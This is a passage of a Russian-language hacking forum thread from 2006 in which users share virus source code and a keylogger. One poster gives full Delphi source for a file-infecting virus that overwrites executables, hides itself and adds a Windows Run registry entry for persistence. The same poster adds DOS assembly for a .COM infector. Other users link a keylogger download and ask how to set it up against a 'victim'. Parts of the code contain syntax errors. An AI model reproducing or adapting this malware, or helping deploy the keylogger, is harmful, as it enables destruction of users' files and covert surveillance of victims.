ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 02.05.2006, 17:22
blek
Banned
Регистрация: 07.04.2006
Сообщений: 7
Провел на форуме:
42008

Репутация: 0
По умолчанию

Ну что делать если немного туплю
Кот я тут о помощи прошу (а не такого рода коментарий которые я кстати ненавижу!!!!!! Я бы их щетал за флууд)
 
Ответить с цитированием

пример вируса на делфи
  #12  
Старый 03.05.2006, 12:33
Tikson
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме:
1387660

Репутация: 74
По умолчанию пример вируса на делфи

пример вируса на делфи


Код:
{
BLACK MAMMONTH VIRUS,
ОБУЧАЮЩАЯ ВЕРСИЯ.
MADE IN USSR,
Dr.Klouniz

КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ:
1.Создаем каталог c:\inf
2.Компилируем вирус (Project--> Build)
3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает-
измени константу и перекомпилиру }
4. Переписываем в каталог c: \inf несколько exe - файлов и вирус.Запускаем вирус.
}

{$I-} //Игнорировать I/O ошибки
{$D-} //Не вводить в код отладочную информацию

program VirDebug;
uses sysutils, //Заголовочные файлы
  windows,
  registry, //Работа с системным реестром
  classes,
  inifiles; //Работа с INI-файлами
const
  VIRLEN = 296960; //Длина нашего вируса. После компиляции сравните получ.
  //размер с указанным здесь, при необходимости измените и перекомпилируйте
var
  zertva, virus: TFileStream; //Мы и жертва
  //буфера для чтения записи довеска и вируса
  vir, dovesok: array[1..VirLen] of Char;
  result: integer; //результат FindFirst'а
  client, sr: TSearchRec;
  //Массив имени файла
  Name: array[1..8] of string;
  //Массив расширения файла
  Ext: array[1..3] of string;
  //Наш INI-каталог; вирус- полноценная прога под WindoZ!
  Info: TINIFILE;
  NewName, pr, par, FromF: string; //Разные строчки
  //Дата как метка зараженности
  Birth: TDateTime;
  kill, slay, winvir, NewProga: file; //файлы
  //Индикатор зараженности (TRUE/FALSE)
  infected: boolean;
  //Текстовый файл-визитка; свидетельствует о том, что это не первый
  //старт виря на данном компьютере
  check: textfile;
  si: Tstartupinfo;
  p: Tprocessinformation;
  reg: TRegistry;
  // Функция- копировалка

function WindowsCopyFile(FromFile, ToDir: string): boolean;
var
  F: TShFileOpStruct;
begin
  F.Wnd := 0;
  F.wFunc := FO_COPY;
  FromFile := FromFile + #0;
  F.pFrom := pchar(FromFile);
  ToDir := ToDir + #0;
  F.pTo := pchar(ToDir);
  F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
  result := ShFileOperation(F) = 0;
end;

procedure INFECTFILES; //Процедура-инфектор
begin
  //Находим исполн. файл в каталоге c:\inf\
  result := FindFirst('c:\INF\*.exe', faAnyFile, client);
  while Result = 0 do //Если нашли, то...
  begin
    //Проверка на вшивость
    Infected := false;
    //если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен
    if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.name))) =
      '09.08.83 06:00:00' then
      infected := true;
    //Проверено!
    //если мы нашли не сами себя и не зараженный файл, то...
    if (client.name <> sr.name) and (infected = false) and
      (client.name <> 'mammonth.exe') then
      . //Сочиним новое имя для нашей жертвы;
    begin
      Name[1] := inttostr(random(10));
      Name[2] := inttostr(random(10));
      Name[3] := inttostr(random(10));
      Name[4] := inttostr(random(10));
      Name[5] := inttostr(random(10));
      Name[6] := inttostr(random(10));
      Name[7] := inttostr(random(10));
      Name[8] := inttostr(random(10));
      Ext[1] := inttostr(random(10));
      Ext[2] := inttostr(random(10));
      Ext[3] := inttostr(random(10));
      NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] +
        name[7] +
        name[8] + '.' + ext[1] + ext[2] + ext[3]; //скомпонуем новое имя
      //Свяжемся с нашей жертвой
      AssignFile(Kill, 'c:\INF\' + client.name);
      //Отправим ее в загон для всех таких же, с уникальным именем
      ReName(Kill, 'c:\INF\files\' + NewName);
      //Фиксируем новое имя в нашем каталоге
      Info := TIniFile.create('c:\inf\filelist.ini');
      with info do
      begin
        //Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла
        WriteString('FILELIST', client.name, NewName);
        free;
      end;
      //А теперь заразим страшным ВИРУСОМ наш файл!
      //Открываем на чтение наш семенной фонд :)
      ||virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead);
      Virus.Read(vir, VirLen);
      //Читаем вирус полностью (константу VirLen помнишь?)
    //Если клиент поболее нас, но не более чем вдвое,
      if (Client.Size > VirLen) and ((Client.Size - VirLen) <= VirLen) then
        //то сравняем размеры
      begin
        Virus.Position := 1; //Рамка считывания- сначала
        Virus.Read(Dovesok, Client.Size - VirLen); //читаем довесок
      end;
      //перепишем жертву по- нашему
      zertva := TFileStream.create('c:\inf\' + client.name, fmCreate);
      zertva.Write(vir, virlen); //Запишем себя в жертву
      if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then
        zertva.write(dovesok, client.size - virlen); //И сверху еще довесок
      Birth := StrToDateTime('09.08.83 06:00:00');
      //поставим жертве индикатор зараженности
      FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));
      Zertva.FREE; //Отпускаем жертву!
      Virus.FREE;
    end;
    Result := FindNEXT(Client); //Ищем следуюущий екзешник
  end;
end;

procedure REGISTRATION;
begin
  //первый раз, в первый класс!
  MkDir('c:\inf\files'); //Создадим загон для жертв
  AssignFile(check, 'c:\inf\present.dat'); //Делаем файл-визитку
  ReWrite(check);
  WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer');
  CloseFile(check); //Сделано!
  par := ParamStr(0); //Посмотрим полное имя нашего файла с путем
  WindowsCopyFile(Par, 'c:\inf\'); //скопируем его в рабочий каталог (папку:))
  AssignFile(winvir, 'c:\inf\' + sr.name); //Найдем его в рабочем каталоге
  ReName(winvir, 'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe
  Reg := TRegistry.Create;
  //И пусть этот маммонт запускается каждый раз!
  FileSetAttr('c:\inf\mammonth.exe', faHidden);
  with Reg do
  begin
    if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
    begin
      WriteString('MAMMONTH', 'c:\windows\mammonth.exe');
      CloseKey;
    end;
  end;
  //Все. Мы в реестре.
  //Халтим вирус с правдоподобным сообщением-
  //сюда можно вписать процедуру вызова StackOverflow
end;
//Процедура исполнения оригинальной проги

procedure EXECPROGRAM
begin
  Info := TIniFile.Create('c:\inf\filelist.ini'); //Заглянем в каталог
  FromF := Info.ReadString('FILELIST', Sr.Name, 'NewName');
  //Вытащим из загона нужный файл
  WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\');
  AssignFile(NewProga, 'c:\inf\' + FromF);
  ReName(NewProga, 'c:\inf\' + '_' + Sr.Name); //сделаем левый файл
  PR := 'c:\inf\' + '_' + Sr.Name;
  Info.Free;
  //Создали, теперь заКапустим его!!!
  FillChar(Si, SizeOf(Si), 0);
  with Si do
  begin
    cb := SizeOf(Si);
    dwFlags := startf_UseShowWindow;
    wShowWindow := 4;
  end;
  //Application.Minimize;
  Pr := Pr + #0;
  Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil,
    nil, si, p);
  Waitforsingleobject(p.hProcess, infinite);
  //Application.Restore;
  //Все, отпахала юзерская прога- потрем ее на хрен!
  AssignFile(slay, pr);
  Erase(slay);
end.

{
КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ
}

begin
  //узнаем имя файла, откуда стартовали
  FindFirst(ParamStr(0), faAnyFile, sr);
  //А вдруг первый раз на этом компе???
  AssignFile(check, 'c:\inf\present.dat');
  Reset(check);
  if IOresult <> 0 then //Если нашего файлика-визитки нет, пора зарегиться тут
  begin
    REGISTRATION;
    INFECTFILES;
    HaLt;
  end;
  if sr.name = 'mammonth.exe' then
  begin
    //Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол
    //INFECTFILES;
    HALT;
  end;
  INFECTFILES;
  EXECPROGRAM;
  {++++END OF THE WORLD NEAR++++}
end.
 
Ответить с цитированием

  #13  
Старый 07.05.2006, 18:04
Tikson
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме:
1387660

Репутация: 74
По умолчанию

кому нужно могу привести пример вируса на ассемблере
нужно?
 
Ответить с цитированием

  #14  
Старый 10.05.2006, 15:51
Mukis
Участник форума
Регистрация: 27.11.2005
Сообщений: 211
Провел на форуме:
619677

Репутация: 34
По умолчанию

_http://xroot.hut1.ru/downloads.php?cat_id=6 ИМХО без наворотов)
 
Ответить с цитированием

  #15  
Старый 15.05.2006, 12:05
Tikson
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме:
1387660

Репутация: 74
По умолчанию

пример вируса на асме
Код:
.286
cseg SEGMENT
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h

Begin:
       jmp Init ; преходим на процедуру инициализации 

;Это будут строки, указывающие то, что программа уже заражена
;Обратите внимание, что мы данным строкам вообще не задаем никакого имени.
;Так можно делать!
  db 77h, 88h, 99h

;       === Процедуры работы с файлами ===

; --- Открытие файла для записи ---
; Вход:  DX - путь к файлу в ASCIIZ
; Выход: Handle, BX - номер файла
Open_file proc
     mov ax,3D02h ;открываем файл для чтения/записи
     mov dx,1Eh   ;DX указывает на имя найденного файла в DTA
     int 21h
     mov Handle,ax ;сохраняем номер файла
     mov bx,ax
     ret

Handle dw 0FFFFh ;переменная для хранения номера файла (по умолчанию 0FFFFh)
Open_file endp

; --- Закрытие файла ---
; Вход:  Handle - номер открытого файла
; Выход: ничего
Close_file proc
     cmp Handle,0FFFFh ;нет открытых файлов?
     je No_close       ;тогда выходим (закрывать нечего!) 

     mov bx,Handle     ;закрываем файл...
     mov ah,3Eh
     int 21h

No_close:
   ret
Close_file endp

; --- Поиск первого файла ---
Find_first proc
      mov ah,4Eh ;ищем первый файл по маске (Mask_file)
      xor cx,cx  ;атрибуты обычные (CX=0)
      mov dx,offset Mask_file ;адрес маски в DS:DX
      int 21h    ;теперь (если нашли файл *.com в текущем каталоге) имя файла
                 ;находится по адресу 0BF00:001Eh, т.е. по смещению 30...
   ret
Mask_file db '*.com',0 ;маска для поиска (только COM-файлы)
Find_first endp

; --- Поиск следующих файлов ---
Find_next proc
      xor dx,dx ;DS:DX указывают на DTA
      xor cx,cx ;Атрибуты обычные
      mov ah,4Fh
      int 21h ;Теперь в DTA находится информация о следующем найденном файле
   ret
Find_next endp

; --- Заражение файла ---
Infect_file proc
      clc

   ret
Infect_file endp



; === Процедура инициализации вируса ===
Init:
       call Get_IP ;Получим смещение, где мы сейчас находимся
Get_IP:
       pop ax      ;Теперь в AX - смещение
       sub ax,offset Get_IP ;Вычтем из него реальный адрес, где мы будем
                            ;находиться в сегменте 0BF00h
                            ;Получим размер файла-"жертвы", если его нет,
                            ;то AX будет равен 0

       push 0BF00h
       pop es       ;ES - сегмент, куда будем перемещать код вируса,

       mov di,offset Open_file ;DI - смещение (адрес самой первой процедуры )
       mov si,di
       add si,ax ;SI должен содержать РЕАЛЬНЫЙ адрес (смещение), т.к. мы
                 ;пока еще в сегменте "файла-жертвы"...

       mov cx,offset Finish-100h ;т.е. CX = длина нашего вируса в байтах
       rep movsb  ;Теперь в памяти две копии нашего вируса

;Занесем в стек смещение (Lab_return+AX) и сегмент (CS) возврата из копии...
       mov bx,offset Lab_return
       add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для
       push cs   ;команды retf
       push bx

;Занесем в стек адрес для перехода в нашу копию:
;  * сегмент - 0BF00h
;  * смещение - Lab_jmp
       mov bx,offset Lab_jmp ;Аналогично вышесказанному...
       add bx,ax
       push 0BF00h
       push bx

;ВНИМАНИЕ!
;В стеке находится адрес следующей метки, только расположенной в другом
;сегменте, а именно: 0BF00h.
;По этому адресу находится метка Lab_jmp (см. следующую строку ).

;Теперь перейдем на метку Lab_jmp, расположенную в сегменте 0BF00h,
;используя оператор retf, который вытащит из стека указанный выше сегмент и
;смещение (0BF00h:Lab_jmp+AX) и "прыгнет" на него.
       retf


; Теперь мы уже в области экрана. Однако, в стеке находится адрес возврата на
; метку Lab_return, но в сегмент программы-"жертвы"
Lab_jmp:
       ;Вот сюда мы и "прыгнули" с предыдущей строки! Толко CS теперь
       ;равен 0BF00h.

       push cs ;настроим регистр DS
       pop ds

       mov ah,1Ah ;установим DTA для поиска файлов
       xor dx,dx  ;он устанавливается на тот адрес, который содержится
       int 21h    ;в регистрах DS:DX. В отладчике посмотрите,
                  ;что находится в памяти, на которую указывают данные
                  ;регистры, т.е. DS:DX...

       call Find_first ;ищем первый файл
       jc Nomore_files ;нет COM-файлов - на выход 

Inf_file:
       call Infect_file ;нашли - пробуем заразить
       jnc Nomore_files ;удалось заразить - выходим 

       call Find_next ;не удалось заразить - ищем следующий
       jnc Inf_file   ;нашли еще один COM-файл; пробуем заразить... 


;Выполнили свою грязную работу. Пора передавать управление файлу-"жертве";
;нужно восстановить его первые шесть байт, которые храняться в переменной
;First_bytes 
Nomore_files:
      mov si,offset First_bytes ;DS:SI - на массив из шести слов
      mov di,100h ;ES:DI - куда пермещать строку (шесть байт)
      push ss  ;SS содержит сегмент файла-"жертвы", который нужно загрузить
      pop es   ;в ES
      mov cx,6 ;6 байт перемещаем: DS:SI = ES:DI
      rep movsb

;"Файл-жертва" восстановлен в памяти (точнее, его первые шесть байт).
;Теперь вернемся в сегмент программы-"жертвы", т.е. туда, где мы
;были изначально. Как?
;Вспомните, что в стеке хранится смещение и сегмент для возврата:

;mov bx,offset Lab_return
;add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для
;push cs   ;комады retf
;push bx

;Команда retf, как Вам уже известно, вытащит из стека смещение (Lab_return+AX)
;и сегмент (CS) и перейдет по этому адресу. Вот и весь фокус!
       retf


;Теперь мы опять в сегменте зараженной программы ("прыгнули" с предыдущей
;строки командой retf)... 
Lab_return:
       push cs ;восстановим DS (ES уже в порядке!)
       pop ds

       mov ah,1Ah ;восстановим DTA
       mov dx,80h
       int 21h

       mov ax,100h ;Передаем управление "файлу-жертве" вот таким странным
       jmp ax      ;способом. Т.е. jmp 100h


; === Данные ===
;Здесь (First_bytes) хранятся первые байты "файла-жертвы".
;Если это первый запуск вируса, то по умолчанию получим:
;nop (90h)
;nop (90h)
;nop (90h)
;nop (90h)
;int 20h (0CDh, 20h)
;Итого: 6 байт
; первые три байта - jmp на код вируса, который мы искусственно добавим
;                    при заражении какой-нибудь программы.
; вторые три байта - метка того, что файл уже заражен нашим вирусом
;                    У нас будет: 77h, 88h, 99h
First_bytes db 4 dup (90h), 0CDh, 20h

Finish equ $ ;метка конца программы-вируса

CSEG ends
end Begin
 
Ответить с цитированием

  #16  
Старый 15.05.2006, 18:07
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

а может ктонить такой пример на С++ привести, т.к ни асемблера ни делфи незнаю))
 
Ответить с цитированием

  #17  
Старый 15.06.2006, 14:41
Vlad1
Новичок
Регистрация: 05.05.2006
Сообщений: 4
Провел на форуме:
16118

Репутация: 0
По умолчанию

Вопрос, как жертва может избавиться от клавиатурного шпиона? из какой директории его надо удалить, чтобы он перестал функционировать
 
Ответить с цитированием

  #18  
Старый 15.06.2006, 14:48
Vlad1
Новичок
Регистрация: 05.05.2006
Сообщений: 4
Провел на форуме:
16118

Репутация: 0
По умолчанию

Цитата:
Сообщение от Mukis  
_http://xroot.hut1.ru/downloads.php?cat_id=6 ИМХО без наворотов)
ты сам то им пользовался?
 
Ответить с цитированием

  #19  
Старый 15.06.2006, 16:06
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Цитата:
Сообщение от Vlad1  
ты сам то им пользовался?
Я им пользовался... всё нормально. Установка и удаление производится одним и тем же файлом. удобно впринципе
 
Ответить с цитированием

  #20  
Старый 15.06.2006, 16:49
Vlad1
Новичок
Регистрация: 05.05.2006
Сообщений: 4
Провел на форуме:
16118

Репутация: 0
По умолчанию

Цитата:
Сообщение от Dr.Check  
Я им пользовался... всё нормально. Установка и удаление производится одним и тем же файлом. удобно впринципе
Скачал эту программку. Запускаешь exe'шник там такая штука "Saisir le code de decryptage". Я так понял надо ввести xroot и нажать "decrypter le fichier". Вот здесь начинается самое интересное, у меня выскакивает новый exe-файл(причем независимо от того, правильный или неправильный пороль) , я так понял, тот, который нужно запустить жертве. И никого текстового файла с настройками не выскакавает. Помогите плиз....
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Клавиатурный шпион Болталка 12 15.09.2008 16:29
Прога Шпион BiX Soft - Windows 14 30.03.2006 17:10
Скрипт шпион Melkiy АнтиАдмин 7 17.06.2005 12:27



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ